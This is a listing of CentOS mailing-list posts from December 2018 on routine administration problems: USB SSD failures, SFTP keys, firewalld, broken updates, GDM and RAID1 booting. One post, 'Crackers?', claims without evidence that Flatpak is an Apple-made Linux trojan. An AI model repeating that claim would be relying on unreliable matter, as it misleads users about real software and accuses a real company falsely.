Hi All, I have a new Samsung SSD 2T 860 type device. I connected it to my centos 7.6 system using external USB 3.1 that has power and data supplied over the USB cable. I do this all the time with a 120G SSD works fine. Formatting the device worked fine - then I mounted it and tried to copy 1.5T of data. The copy never finished through the night. I think there wasn't enough power for the SSD.... Now when I power the SSD with an external USB with power the disk is not seen when I plug it in. Any thoughts how to get the device to be seen under external USB power so I can reformat and get it going? Thanks, Jerry

1 0

Firewalld and iptables
by Jon LaBadie 15 Dec '18

15 Dec '18

After a recent large update, firewalld's status contains many lines of the form: WARNING: COMMAND_FAILED: '/usr/sbin/iptables... Checking iptables.service status shows it to be masked. I realize that firewalld uses iptables, but should it be enabled and started as a service? Jon -- Jon H. LaBadie jcu(a)labadie.us 11226 South Shore Rd. (703) 787-0688 (H) Reston, VA 20190 (703) 935-6720 (C)

4 9

SFTP - Private/Public Authentication Keysets Beyond The First Set
by Gary Braatz 15 Dec '18

15 Dec '18

I'm new to SFTP and using this mailing list was able to successfully create my first Private/Public keyset for a vendor hosting the SFTP server (I'm the client). I created the keyset by typing this: # ssh-keygen -t rsa When asked for the password/passphrase I hit <Enter> and afterwards "id_rsa" and "id_rsa.pub" were created in "/root/.ssh/". I provided "id_rsa.pub" to the vendor and when told they were ready I initiated an SFTP transfer. During the first connection I was asked for the vendor-provided password and after entering it was successfully connected to the vendor's sftp server. During successive connections I was not again asked for the password. This allowed me to create fully automated batch file transfers.my objective. Setting up my second vendor is not going as smoothly. I did exactly the same thing for my second vendor with the exception of typing "rsa_vendor2" during keyset generation (I assumed I had to use a different name for the new keyset). # ssh-keygen -t rsa_vendor2 Files "id_rsa_vendor2" and "id_rsa_vendor2.pub" were created in "/root/.ssh/" and I gave "id_rsa_vendor2.pub" to the second vendor. I initiated the first connection with the second vendor and was asked for the vendor-provided password which I entered and a successful connection was made. The problem is unlike with the first vendor I am asked for the password every time I connect to the second vendor's server. Because I am being asked for the password I am unable to create fully automated batch file transfers. The second vendor is telling me they added the public key to their server as required. Did I miss a step or do something wrong on my end? Was I correct using a different name for the new keyset or would the new keyset information have been appended to the information already in id_rsa and id_rsa.pub for the first vendor? Any help you can provide will be greatly appreciated.

4 8

CentOS7 kickstart question
by isdtor 14 Dec '18

14 Dec '18

Is it not possible to use an nfs based repo for kickstart under CentOS 7.5? E.g. repo --name=epel --baseurl=file://server/path/to/local/copy/of/epel With trial and error I figured out that this is the correct syntax to use for an nfs-based repo. But packages from this repo in the %packages section are not found. You have specificed that the package 'bla' should be installed. This package does not exist. ... It works with http off the same server and location, but I'd rather not use that. NFS installation as such, using nfs --server ... -- dir ..., off the same server and filesystem is working fine. So there is no problem here with nfs or repo setup.

3 6

Running a command at startup
by Robert Moskowitz 13 Dec '18

13 Dec '18

On a support forum, I was told that to turn off my board's blue led run: echo none | sudo tee /sys/class/leds/blue\:heartbeat/trigger Well, this does not survive a system reboot. So I was told: Add the off bit to /etc/rc.local Add it above "exit 0" So of course, CentOS is past using rc.local and recommends: # It is highly advisable to create own systemd services or udev rules # to run scripts during boot instead of using this fi So can someone point me to how to make this into a simple systemd service? thanks

7 11

core file generation
by sthustfo 13 Dec '18

13 Dec '18

On my cent os 7 system, I can trigger a running process to dump core by sending a signal from console (kill -SIGABRT pid). However after generating some core files in this way, the system no longer generates any more core dump files. The core file pattern is set to /tmp/store/core.%h.%e.%p.%t. Is there any way to find out why the core files are no longer generated? There is sufficient disk space and permission to the folder is also intact. The initial core files generated are found in the specified folder. Any logs help explain this behavior? Thanks.

1 0

Re: [CentOS] SFTP - Private/Public Authentication Keysets Beyond The First Set
by James B. Byrne 13 Dec '18

13 Dec '18

On Wed, December 12, 2018 16:40, Gary Braatz wrote: > Inclusion of the -i flag and the location of the private key solved > the > problem. > You can also set up a personalised ssh config file in the ~/.ssh directory of the user employed to establish the sftp/ssh connections: #BOF # /home/myuser/.ssh/config # Host parameter is any arbitrary string. # sftp remoteuserid(a)first.site.com == Host site1 HostName first.site.com User remoteuserid IdentityFile /home/myuser/.ssh/id_rsa # sftp otheruserid(a)second.other.com == Host site2 HostName second.other.com User otheruserid IdentityFile /home/myuser/.ssh/rsa_vendor2 #EOF Then just run 'sftp site1' or 'sftp site2' to connect as required. -- *** e-Mail is NOT a SECURE channel *** Do NOT transmit sensitive data via e-Mail Do NOT open attachments nor follow links sent by e-Mail James B. Byrne mailto:ByrneJB@Harte-Lyne.ca Harte & Lyne Limited http://www.harte-lyne.ca 9 Brockley Drive vox: +1 905 561 1241 Hamilton, Ontario fax: +1 905 561 0757 Canada L8E 3C3

1 0

ClamAV installation is OUTDATED! as reported by freshclam utility on CentOS Linux release 7.6.1810 (Core)
by Kaushal Shriyan 13 Dec '18

13 Dec '18

Hi, I am running CentOS Linux release 7.6.1810 (Core) with ClamAV installed. When i am running freshclam i am seeing a Warning message and the details are described below:- # freshclam ClamAV update process started at Thu Dec 13 11:49:18 2018 WARNING: Your ClamAV installation is OUTDATED! WARNING: Local version: 0.100.2 Recommended version: 0.101.0 DON'T PANIC! Read https://www.clamav.net/documents/upgrading-clamav main.cvd is up to date (version: 58, sigs: 4566249, f-level: 60, builder: sigmgr) nonblock_recv: recv timing out (30 secs) WARNING: getfile: Download interrupted: Operation now in progress (IP: 104.16.189.138) WARNING: Can't download daily.cvd from database.clamav.net Trying again in 5 secs... ClamAV update process started at Thu Dec 13 11:49:56 2018 WARNING: Your ClamAV installation is OUTDATED! WARNING: Local version: 0.100.2 Recommended version: 0.101.0 DON'T PANIC! Read https://www.clamav.net/documents/upgrading-clamav main.cvd is up to date (version: 58, sigs: 4566249, f-level: 60, builder: sigmgr) Trying host database.clamav.net (104.16.188.138)... Downloading daily.cvd [100%] daily.cvd updated (version: 25202, sigs: 2176766, f-level: 63, builder: neo) bytecode.cvd is up to date (version: 327, sigs: 91, f-level: 63, builder: neo) Database updated (6743106 signatures) from database.clamav.net (IP: 104.16.188.138) # *OS Version* # cat /etc/redhat-release CentOS Linux release 7.6.1810 (Core) # yum update No packages marked for update # *EPEL Version* # rpm -qa | grep epel epel-release-7-11.noarch # *ClamAV Version* # rpm -qa | grep clamav clamav-lib-0.100.2-2.el7.x86_64 clamav-filesystem-0.100.2-2.el7.noarch clamav-update-0.100.2-2.el7.x86_64 clamav-0.100.2-2.el7.x86_64 # Please comment. Thanks in Advance. I look forward to hearing from you. Best Regards, Kaushal

2 1

CentOS 7.6 external USB dmesg issue
by Jerry Geis 12 Dec '18

12 Dec '18

I have a brand new 2T external Samsung SSD disk. (two of them) for backup. I tried the first one and had an issue, I tried the second one and got the same issue. Am I doing something wrong ? I find it hard to believe the SSD (both) are bad. I plugged in the USB 3.1 adapter, I fdisk /dev/sdd, n, p, default, default, w. then mkfs.ext4 -j /dev/sdd1, then just mount and rsync. [ 1085.193710] [<ffffffffa94dca7e>] ? account_entity_dequeue+0xae/0xd0 [ 1085.193715] [<ffffffffa9b67c49>] schedule+0x29/0x70 [ 1085.193719] [<ffffffffa9b65721>] schedule_timeout+0x221/0x2d0 [ 1085.193724] [<ffffffffa942a621>] ? __switch_to+0x151/0x580 [ 1085.193730] [<ffffffffa9501052>] ? ktime_get_ts64+0x52/0xf0 [ 1085.193735] [<ffffffffa9b672ed>] io_schedule_timeout+0xad/0x130 [ 1085.193740] [<ffffffffa94c2886>] ? prepare_to_wait_exclusive+0x56/0x90 [ 1085.193744] [<ffffffffa9b67388>] io_schedule+0x18/0x20 [ 1085.193750] [<ffffffffa9743de3>] get_request+0x243/0x7d0 [ 1085.193756] [<ffffffffa977c401>] ? __radix_tree_create+0x11/0x360 [ 1085.193761] [<ffffffffa94c2d00>] ? wake_up_atomic_t+0x30/0x30 [ 1085.193767] [<ffffffffa9746cae>] blk_queue_bio+0xfe/0x400 [ 1085.193772] [<ffffffffa9744ef7>] generic_make_request+0x147/0x380 [ 1085.193778] [<ffffffffa97451a0>] submit_bio+0x70/0x150 [ 1085.193786] [<ffffffffa967e555>] ? bio_alloc_bioset+0x115/0x310 [ 1085.193791] [<ffffffffa967a197>] _submit_bh+0x127/0x160 [ 1085.193797] [<ffffffffa967a1e0>] submit_bh+0x10/0x20 [ 1085.193808] [<ffffffffc1bd8424>] ext4_read_block_bitmap_nowait+0x4c4/0x640 [ext4] [ 1085.193828] [<ffffffffc1c16641>] ext4_mb_init_cache+0x181/0x6e0 [ext4] [ 1085.193834] [<ffffffffa95c5afe>] ? lru_cache_add+0xe/0x10 [ 1085.193840] [<ffffffffa95b74de>] ? find_or_create_page+0x5e/0xa0 [ 1085.193858] [<ffffffffc1c16cc6>] ext4_mb_init_group+0x126/0x230 [ext4] [ 1085.193874] [<ffffffffc1c16f54>] ext4_mb_good_group+0x184/0x1a0 [ext4] [ 1085.193889] [<ffffffffc1c19735>] ext4_mb_regular_allocator+0x1c5/0x470 [ext4] [ 1085.193906] [<ffffffffc1c12d0c>] ? __ext4_journal_stop+0x3c/0xb0 [ext4] [ 1085.193921] [<ffffffffc1c14bec>] ? ext4_mb_normalize_request+0x20c/0x560 [ext4] [ 1085.193936] [<ffffffffc1c1b59b>] ext4_mb_new_blocks+0x65b/0xa20 [ext4] [ 1085.193942] [<ffffffffa967918d>] ? __getblk+0x2d/0x300 [ 1085.193961] [<ffffffffc1c223cb>] ext4_ind_map_blocks+0xb9b/0xc20 [ext4] [ 1085.193968] [<ffffffffa94c6258>] ? hrtimer_cancel+0x28/0x40 [ 1085.193973] [<ffffffffa95d82c8>] ? zone_statistics+0x88/0xa0 [ 1085.193987] [<ffffffffc1bdfd35>] ext4_map_blocks+0x295/0x6e0 [ext4] [ 1085.193993] [<ffffffffa9657c7e>] ? do_select+0x73e/0x7c0 [ 1085.193999] [<ffffffffa961c0b2>] ? kmem_cache_alloc+0x1c2/0x1f0 [ 1085.194006] [<ffffffffa96787b1>] ? alloc_buffer_head+0x21/0x60 [ 1085.194018] [<ffffffffc1be035f>] _ext4_get_block+0x1df/0x220 [ext4] [ 1085.194030] [<ffffffffc1be03b6>] ext4_get_block+0x16/0x20 [ext4] [ 1085.194036] [<ffffffffa967ae78>] __block_write_begin_int+0x198/0x5f0 [ 1085.194041] [<ffffffffa961c0b2>] ? kmem_cache_alloc+0x1c2/0x1f0 [ 1085.194053] [<ffffffffc1be03a0>] ? _ext4_get_block+0x220/0x220 [ext4] [ 1085.194067] [<ffffffffc1be4c56>] ? ext4_write_begin+0x116/0x440 [ext4] [ 1085.194073] [<ffffffffa967b2e1>] __block_write_begin+0x11/0x20 [ 1085.194085] [<ffffffffc1be4ccf>] ext4_write_begin+0x18f/0x440 [ext4] [ 1085.194091] [<ffffffffa95b5f84>] generic_file_buffered_write+0x124/0x2c0 [ 1085.194098] [<ffffffffa95b88c2>] __generic_file_aio_write+0x1e2/0x400 [ 1085.194105] [<ffffffffa95b8b39>] generic_file_aio_write+0x59/0xa0 [ 1085.194116] [<ffffffffc1bda322>] ext4_file_write+0xd2/0x1e0 [ext4] [ 1085.194121] [<ffffffffa9640823>] do_sync_write+0x93/0xe0 [ 1085.194127] [<ffffffffa9641310>] vfs_write+0xc0/0x1f0 [ 1085.194132] [<ffffffffa964212f>] SyS_write+0x7f/0xf0 [ 1085.194138] [<ffffffffa9b74ddb>] system_call_fastpath+0x22/0x27 Thanks, Jerry

4 7

Re: [CentOS] CentOS 7.6 external USB dmesg issue
by mark 12 Dec '18

12 Dec '18

Jerry Geis wrote: >> Do you have any "history" with the adapter you connected them to? If >> not consider it as a possibility as well >> (from bad experience of total filesystem/partition corruption on two >> hard drives only to discover it was >something on the motherboard). > > Actually yes I used them many times back on C7.5 Both the motherboard > and USB adapter. > I'm a tad confused: you said the USB drive was brand new - did you use them with C 7.5, or not? Can you try to do a b/u using whatever drive you used before? mark

1 0

CentOS-announce Digest, Vol 166, Issue 3
by centos-announce-request＠centos.org 12 Dec '18

12 Dec '18

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit https://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. Announcing release of PHP 7.2 (Jan Stan?k) 2. Announcing release of Varnish 6 (Jan Stan?k) 3. Announcing release of NodeJS 10 (Jan Stan?k) 4. Announcing release of nginx 1.14 (Jan Stan?k) 5. Announcing release of MySQL 8.0 (Jan Stan?k) 6. Announcing release of Git 2.18 (Jan Stan?k) ---------------------------------------------------------------------- Message: 1 Date: Tue, 11 Dec 2018 16:23:26 +0100 From: Jan Stan?k <jstanek(a)redhat.com> To: centos-announce(a)centos.org Subject: [CentOS-announce] Announcing release of PHP 7.2 Message-ID: <5f81205f-1311-8186-44f3-12d6e89a284d(a)redhat.com> Content-Type: text/plain; charset="windows-1252" I am pleased to announce the immediate availability of PHP in version 7.2 on CentOS Linux 7 x86_64, delivered via a Software Collection (SCL) built by the SCLo Special Interest Group (https://wiki.centos.org/SpecialInterestGroup/SCLo) QuickStart ---------- You can get started in three easy steps: # 1. Install a package with repository for your system: $ sudo yum install centos-release-scl # 2. Install the collection: $ sudo yum install rh-php72 # 3. Start using the software collection: $ scl enable rh-php72 bash At this point you should be able to use php just as a normal application. Examples of commands run might be: $ sudo systemctl start rh-php72-php-fpm $ php my-app.php $ sudo yum install rh-php72-php-devel $ sudo yum install libxml2-devel $ sudo pear install Cache_Lite $ sudo pecl install xmldiff More information about this collection can be found at https://www.softwarecollections.org/en/scls/rhscl/rh-php72/ This collections is CentOS-based rebuild built by SCLo SIG community, and the packages have been available in Red Hat Software Collections 3.2 for RHEL: https://access.redhat.com/documentation/en-us/red_hat_software_collections/… So, for RHEL-based builds, follow the steps in the documentation above. About Software Collections -------------------------- Software Collections give you the power to build, install, and use multiple versions of software on the same system, without affecting system-wide installed packages. Each collection is delivered as a group of RPMs, with the grouping being done using the name of the collection as a prefix of all packages that are part of the software collection. The SCLo SIG in CentOS ---------------------- The Software Collections SIG group is an open community group co-ordinating the development of the SCL technology, and helping curate a reference set of collections. In addition to the collection NodeJS being released here, we also build and deliver databases, web servers, and language stacks including multiple versions of PostgreSQL, MariaDB, Apache HTTP Server, Python, Ruby, Ruby on Rails and others. You can learn more about Software Collections concepts at: https://softwarecollections.org You can find information on the SIG at https://wiki.centos.org/SpecialInterestGroup/SCLo ; this includes how to get involved and help with the effort. Enjoy! -- Jan Stanek Associate Software Engineer, Brno Red Hat Czech jstanek(a)redhat.com IM: jstanek

1 0

Speaking of libreoffice
by mark 11 Dec '18

11 Dec '18

Been busy writing - updated C 6.10, and libreoffice, for no reason I understand, decides to put a heavy horizontal line in the text. I've tried highlighting it and removing direct formatting, I've tried selecting it and hitting delete, nothing makes it go away. Horizonetal line (in ASCII) one heavy lower line, one very thin line a few pixels above it, sort of like ---------- ========== Clues for the poor? mark

1 0

Libreoffice on 7.6
by Jerry Geis 11 Dec '18

11 Dec '18

When I try to run libreoffice on CentOS 7.6 for a slide show (using my macro that I have always used since CentOS 6.0) I get a runtime error that "Presentation is not found". I updated then to the current download 6.1.2 and tried again - I get the same error. If I go back to a 7.5 machine - same macro - it works just fine. This happens on any of my CentOS 7.6 machines. Any idea why its not happy ? This is the line (second one) in the macro it gets basic runtime error oDoc = StarDesktop.loadComponentFromURL(url, "_default", 0, aProps) oDoc.Presentation.Pause = 0 There don't seem to be permission errors - everything is owned by the right user and +r etc... The error is Basic runtime error property or method not found: Presentation. What might I be missing , thanks ? Jerry

1 0

Re: [CentOS] [CentOS-announce] Announcing release of PHP 7.2
by Nux! 11 Dec '18

11 Dec '18

Thanks, Jan! -- Sent from the Delta quadrant using Borg technology! Nux! www.nux.ro ----- Original Message ----- > From: "Jan Staněk" <jstanek(a)redhat.com> > To: centos-announce(a)centos.org > Sent: Tuesday, 11 December, 2018 15:23:26 > Subject: [CentOS-announce] Announcing release of PHP 7.2 > I am pleased to announce the immediate availability of PHP > in version 7.2 on CentOS Linux 7 x86_64, > delivered via a Software Collection (SCL) built by the SCLo Special > Interest Group (https://wiki.centos.org/SpecialInterestGroup/SCLo) > > QuickStart > ---------- > You can get started in three easy steps: > > # 1. Install a package with repository for your system: > $ sudo yum install centos-release-scl > > # 2. Install the collection: > $ sudo yum install rh-php72 > > # 3. Start using the software collection: > $ scl enable rh-php72 bash > > At this point you should be able to use php > just as a normal application. Examples of commands run might be: > > $ sudo systemctl start rh-php72-php-fpm > $ php my-app.php > $ sudo yum install rh-php72-php-devel > $ sudo yum install libxml2-devel > $ sudo pear install Cache_Lite > $ sudo pecl install xmldiff > > > More information about this collection can be found at > https://www.softwarecollections.org/en/scls/rhscl/rh-php72/ > > This collections is CentOS-based rebuild built by SCLo SIG community, > and the packages have been available in Red Hat Software Collections 3.2 > for RHEL: > > https://access.redhat.com/documentation/en-us/red_hat_software_collections/… > > So, for RHEL-based builds, follow the steps in the documentation above. > > About Software Collections > -------------------------- > Software Collections give you the power to build, install, and use > multiple versions of software on the same system, without affecting > system-wide installed packages. Each collection is delivered as a group > of RPMs, with the grouping being done using the name of the collection > as a prefix of all packages that are part of the software collection. > > The SCLo SIG in CentOS > ---------------------- > The Software Collections SIG group is an open community group > co-ordinating the development of the SCL technology, and helping curate > a reference set of collections. In addition to the collection NodeJS > being released here, we also build and deliver databases, web servers, > and language stacks including multiple versions of PostgreSQL, MariaDB, > Apache HTTP Server, Python, Ruby, Ruby on Rails and others. > > You can learn more about Software Collections concepts at: > https://softwarecollections.org > You can find information on the SIG at > https://wiki.centos.org/SpecialInterestGroup/SCLo ; > this includes how to get involved and help with the effort. > > Enjoy! > -- > Jan Stanek > Associate Software Engineer, Brno > Red Hat Czech > jstanek(a)redhat.com IM: jstanek > > > _______________________________________________ > CentOS-announce mailing list > CentOS-announce(a)centos.org > https://lists.centos.org/mailman/listinfo/centos-announce

1 0

XFS, NVMe
by Helmut Drodofsky 10 Dec '18

10 Dec '18

For me it's a new problem. I have never had problems like this: kernel:XFS: mysqld(112843) possible memory allocation deadlock size 65552 in kmem_realloc (mode:0x250) My first server with soft raid1 and NVMee. CentOS 7.5. Are there special recommendations for configuring XFS with NVMe's? -- Viele Grüße Helmut Drodofsky Internet XS Service GmbH Heßbrühlstraße 15 70565 Stuttgart Geschäftsführung Helmut Drodofsky HRB 21091 Stuttgart USt.ID: DE190582774 Fon: 0711 781941 0 <tel:+497117819410> Fax: 0711 781941 79 Mail: info(a)internet-xs.de www.internet-xs.de

1 0

Crackers?
by Arun I. Gurung 10 Dec '18

10 Dec '18

Hi, just wishing you a merry christmas and happy new year, by presenting to you a new trojan for Linux. It`s professionally made by Apple Computer Inc. (must be somebody who threatened them to do it). <https://www.anubis-ca.com/tmp/IMG_20181210_173521.jpg> <https://www.anubis-ca.com/tmp/IMG_20181210_175350.jpg> ---------Videresendt melding------- Fra: Arun I. Gurung <arun-g(a)anubis-ca.com> Til: Ian Mapleson <mapesdhs(a)yahoo.com>, rbowen(a)centosproject.org Emne: Re: Crackers? Dato: Mon, 10 Dec 2018 19:30:20 +0100 > I will take backup of my personal files and reinstall CentOS 1804 > (version 7.5). > > The trojan is a metadata crawler which infiltrates as a systemd > service. It arrived today, when I did a "yum distribution- > synchronization". > > > -----Original Message----- > From: "Arun I. Gurung" <arun-g(a)anubis-ca.com> > To: Ian Mapleson <mapesdhs(a)yahoo.com> > Sent: man., 10 des. 2018 17:54 > Subject: Re: Crackers? > > Apple sold their soul to Mr. Satan. > > -----Original Message----- > From: "Arun I. Gurung" <arun-g(a)anubis-ca.com> > To: Ian Mapleson <mapesdhs(a)yahoo.com> > Sent: man., 10 des. 2018 17:38 > Subject: Re: Crackers? > > Looks like the trojan has infiltrated as a systemd service. It > changed the MAC address on my WLAN interface, but it can't locate any > WLANs. Check the attached photo. > > -----Original Message----- > From: "Arun I. Gurung" <arun-g(a)anubis-ca.com> > To: Ian Mapleson <mapesdhs(a)yahoo.com> > Sent: man., 10 des. 2018 17:25 > Subject: Re: Crackers? > > Godammit, Ian. This time we must be really careful when talking, > because I see a trojan for Linux. A hint is that it's a "new package > manager" for Linux (it's Flatpak) and it's very dangerous. -- Arun I. Gurung <arun-g(a)anubis-ca.com> Anubis C A

2 1

Centos7 broken after update
by Patrick Bégou 10 Dec '18

10 Dec '18

I've launch a "yum update" while I was going to lunch. 1 hour later the system was completely freezed (no mouse, no keyboard, screen black, no network). I try a hard reboot => kernel panic on the new kernel I boot on the old kernel => boot hangs with gnome-shell failure. SSH was OK so I remove the new kernel and re-install gnome shell. Reboot is ok but now the computer freeze (no mouse, no keyboard, screen black) after some time. Yum asks to run yum-complete-transaction Running yum-complete-transaction says: There are 1 outstanding transactions to complete. Finishing the most recent one The remaining transaction had 1537 elements left to run then many package to be removed and start a very long dependances check and show a lot of errors at the end with a depsolving loop limit reached: Erreur : Depsolving loop limit reached. Erreur : Paquet : gtk3-3.22.30-3.el7.i686 (base) Requiert : libXext.so.6 Suppression : libXext-1.3.3-3.el7.i686 (@base) libXext.so.6 Erreur : Paquet : evolution-mapi-3.28.3-2.el7.x86_64 (base) Requiert : libemail-engine.so()(64bit) Suppression : evolution-3.22.6-14.el7.x86_64 (@base) libemail-engine.so()(64bit) Suppression : evolution-3.28.5-2.el7.x86_64 (installed) libemail-engine.so()(64bit) ....... and then: Vous pouvez essayer d'utiliser --skip-broken pour contourner le problème ** 775 problèmes RPMDB préexistants trouvés, la sortie de « yum check » est la suivante : GeoIP-1.5.0-13.el7.x86_64 est un doublon de GeoIP-1.5.0-11.el7.x86_64 1:NetworkManager-1.12.0-8.el7_6.x86_64 est un doublon de 1:NetworkManager-1.10.2-16.el7_5.x86_64 1:NetworkManager-glib-1.12.0-8.el7_6.x86_64 des conflits sont installés NetworkManager-libnm < ('1', '1.12.0', '8.el7_6'): 1:NetworkManager-libnm-1.10.2-16.el7_5.x86_64 1:NetworkManager-glib-1.12.0-8.el7_6.x86_64 est un doublon de 1:NetworkManager-glib-1.10.2-16.el7_5.x86_64 1:NetworkManager-libnm-1.12.0-8.el7_6.x86_64 des conflits sont installés NetworkManager-glib < ('1', '1.12.0', '8.el7_6'): ...etc and fails. Any idea to go back to a normal situation before a full re-install ? Thanks Patrick

4 6

Weird problems with CentOS 7.6 1810 installer
by Nicolas Kovacs 10 Dec '18

10 Dec '18

Hi, I just updated my installation media for CentOS. I have a few sandbox PCs in my office, and I'm testing CentOS 7.6 1810 on them. There seem to be a few issues with the CentOS 7.6 1810 DVD. Checked DVD integrity on startup : OK. First attempt : installer froze on root password dialog. Second attempt : installer froze on dependency calculation. Third attempt : installer froze on network interface definition. Similar behavior on two different machines. On the same machine, the minimal DVD seems to work OK. I could manage to switch to another virtual console, and I have the following kernel log messages: WARNING: kernel:perf: interrupt took too long Any idea what's going on here? I should add that all the previous CentOS 7 installation DVDs worked perfectly on these PCs (Dell Optiplex 330). Cheers, Niki -- Microlinux - Solutions informatiques durables 7, place de l'église - 30730 Montpezat Site : https://www.microlinux.fr Blog : https://blog.microlinux.fr Mail : info(a)microlinux.fr Tél. : 04 66 63 10 32

5 4

Still getting Dropbox warning at login after uninstalling Dropbox
by Gary Stainburn 09 Dec '18

09 Dec '18

Lke many people I have received the message from Dropbox about their changes including the non-support for the old Linux RPM. As I no longer use Dropbox I thought I would just remove the nautilus-dropbox RPM. However, I am still receiving the warning every time I log in. Can anyone tell me what I need to do to stop this please. Gary

2 1

[OT] EPEL update?
by isdtor 09 Dec '18

09 Dec '18

Hi, OT for this list, but maybe I can get some pointers - how hard is it to get some packages updated in EPEL? The project web site sends you from link to link, and the ML web interface is horrible. No interest here to become a package maintainer or regular contributor. I have taken it upon myself to rebuild MATE from Fedora 29, seeing that the current EPEL-7 packages are four revisions behind. Also updated a few packages to their latest upstream version.

7 10

rescue - UEFI revert to BIOS boot - how?
by lejeczek 08 Dec '18

08 Dec '18

hi guys I have a box on which UEFI boot has gone haywire and instead of boot it power the box down, that is before even going to grub2. (displays some error message) I if change to BIOS boot then I can start Centos' rescue - my question is: how can I rescue, re-build grub so it would boot from tradition BIOS? many thanks, L.

4 3

unable to stop drive timeout was reached
by Frank Cox 08 Dec '18

08 Dec '18

On a fully updated Centos 7 system with the Mate desktop, I've just encountered what appears to be a bug in.. something? I connected a USB portable hard drive and copied some files onto it, then right-clicked the icon and "Safely remove drive". After about thirty seconds I then unplugged the portable hard drive and removed it. Several minutes later a window appeared on my desktop that said "unable to stop drive timeout was reached". This is new; I've never seen it before so I think it's related to the last updates in some way. Google finds several mentions of this error message, here is one example: https://forum.manjaro.org/t/usb-drive-safely-remove-causes-delayed-error-me… -- MELVILLE THEATRE ~ Real D 3D Digital Cinema ~ www.melvilletheatre.com

1 0

// RESEND // 7.6: Software RAID1 fails the only meaningful test
by Benjamin Smith 08 Dec '18

08 Dec '18

(Resend: message didn't show, was my original message too big? Posted one of the output files to a website to see) The point of RAID1 is to allow for continued uptime in a failure scenario. When I assemble servers with RAID1, I set up two HDDs to mirror each other, and test by booting from each drive individually to verify that it works. For the OS partitions, I use simple partitions and ext4 so it's as simple as possible. Using the CentOS 7.6 installer (v 1810) I cannot get this test to pass in any way, with or without LVM. Using an older installer, it works fine (v 1611) and I am able to boot from either drive but as soon as I do a yum update then it fails. I think this may be related or the same issue reported in "LVM failure after CentOS 7.6 upgrade" since that also involves booting from a degraded RAID1 array. This is a terrible bug. See below for some (hopefully) useful output while in recovery mode after a failed boot. ### output of fdisk -l Disk /dev/sda: 500.1 GB, 500107862016 bytes, 976773168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk label type: dos Disk identifier: 0x000c1fd0 Device Boot Start End Blocks Id System /dev/sda1 2048 629409791 314703872 fd Linux raid autodetect /dev/sda2 * 629409792 839256063 104923136 fd Linux raid autodetect /dev/sda3 839256064 944179199 52461568 fd Linux raid autodetect /dev/sda4 944179200 976773119 16296960 5 Extended /dev/sda5 944181248 975654911 15736832 fd Linux raid autodetect ### output of cat /prod/mdstat Personalities : md126 : inactive sda5[0](S) 15727616 blocks super 1.2 md127 : inactive sda2[0](S) 104856576 blocks super 1.2 unused devices: <none> ### content of rdosreport.txt It's big; see http://chico.benjamindsmith.com/rdsosreport.txt

2 2

Can't configure GDM after update to CentOS 7.6
by Nicolas Kovacs 07 Dec '18

07 Dec '18

Hi, It looks like the upgrade to CentOS 7.6 has been unusually disruptive with the GNOME desktop version bump and a series of moving targets under the hood. The result is some wreckage at my client's desktop installations, which I've been busy to repair since yesterday. First things first. I have a custom configuration of GDM, which consists mainly of two things. 1. Display my company's logo instead of the CentOS logo. 2. Disable the user list (since I have about 100 users here). Until CentOS 7.5, here's what I did. 1. Create a file /etc/dconf/profile/gdm : user-db:user system-db:gdm file-db:/usr/share/gdm/greeter-dconf-defaults 2. Create a file /etc/dconf/db/gdm.d/01-logo : [org/gnome/login-screen] logo='/usr/share/pixmaps/microlinux-logo.png' 3. Create a file /etc/dconf/db/gdm.d/00-login-screen : [org/gnome/login-screen] disable-user-list=true 4. Update dconf : # dconf update Now with CentOS 7.6 this doesn't work anymore. The /etc/dconf/db/gdm.d directory is nowhere to be found, and I'm currently mildly cursing the GNOME developers' (and Red Hat's) policy of releasing moving targets. Until now, the whole purpose of Enterprise Linux seemed to be low-risk updates. </rant> I've documented the whole GDM customization process until CentOS 7.5 in a short article on my french blog : * https://blog.microlinux.fr/gdm-centos/ Any idea how I can configure GDM with the new version ? Cheers, Niki -- Microlinux - Solutions informatiques durables 7, place de l'église - 30730 Montpezat Site : https://www.microlinux.fr Blog : https://blog.microlinux.fr Mail : info(a)microlinux.fr Tél. : 04 66 63 10 32

7 8

DNS bind - use of /etc/named directory
by John Horne 07 Dec '18

07 Dec '18

Hello, For many years we have modified the '/etc/named.conf' file to include local settings. The disadvantage with this is of course that when bind is updated, it creates an '/etc/named.conf.rpmnew' file. We then have to determine what is new, and apply the relevant changes to our modified named.conf file. There is, however, an '/etc/named' directory which I assumed was for local configuration settings. The main '/etc/named.conf' file makes no mention of this directory, so (I suspect) any config files in '/etc/named' would, by default, just be ignored. As far as I can tell we could put our local configuration settings into a file in '/etc/named', but we would then, once again, have to modify '/etc/named.conf' to tell it to include config files in '/etc/named'. We would then be back at square one in that any bind update would create an 'rpmnew' file. I admit I haven't actually tested this, but has anyone used the '/etc/named' directory and not had to modify the main '/etc/named.conf' file? I suspect, if not, then this should be raised as a possible bug since it would make sense not to have to modify the main configuration file at all. Thanks, John. -- John Horne | Senior Operations Analyst | Technology and Information Services University of Plymouth | Drake Circus | Plymouth | Devon | PL4 8AA | UK ________________________________ [http://www.plymouth.ac.uk/images/email_footer.gif]<http://www.plymouth.ac.uk/worldclass> This email and any files with it are confidential and intended solely for the use of the recipient to whom it is addressed. If you are not the intended recipient then copying, distribution or other use of the information contained is strictly prohibited and you should not rely on it. If you have received this email in error please let the sender know immediately and delete it from your system(s). Internet emails are not necessarily secure. While we take every care, University of Plymouth accepts no responsibility for viruses and it is your responsibility to scan emails and their attachments. University of Plymouth does not accept responsibility for any changes made after it was sent. Nothing in this email or its attachments constitutes an order for goods or services unless accompanied by an official order form.

2 4

New CentOS7 Install Yum will not work
by Ed Morrison 07 Dec '18

07 Dec '18

